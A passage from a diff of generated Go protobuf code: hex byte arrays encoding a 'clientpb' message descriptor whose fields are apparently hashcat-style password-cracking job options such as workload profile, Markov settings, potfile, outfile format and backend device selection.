- 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, - 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, - 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, - 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, - 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, - 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, - 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, - 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, - 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, - 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, - 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, - 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, - 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, - 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, - 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, - 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, - 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, - 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, - 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, - 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, - 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, - 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, - 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, - 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, - 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, + 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, + 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, + 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, + 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, + 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, + 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, + 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, + 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, + 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, + 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, + 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, + 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, + 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, + 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, + 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, + 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, + 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, + 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, + 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, + 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, + 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, + 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, + 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, + 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, + 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, + 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, + 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, + 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, + 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, + 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, + 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, + 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, + 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, + 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, + 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, + 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, + 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, + 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, + 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 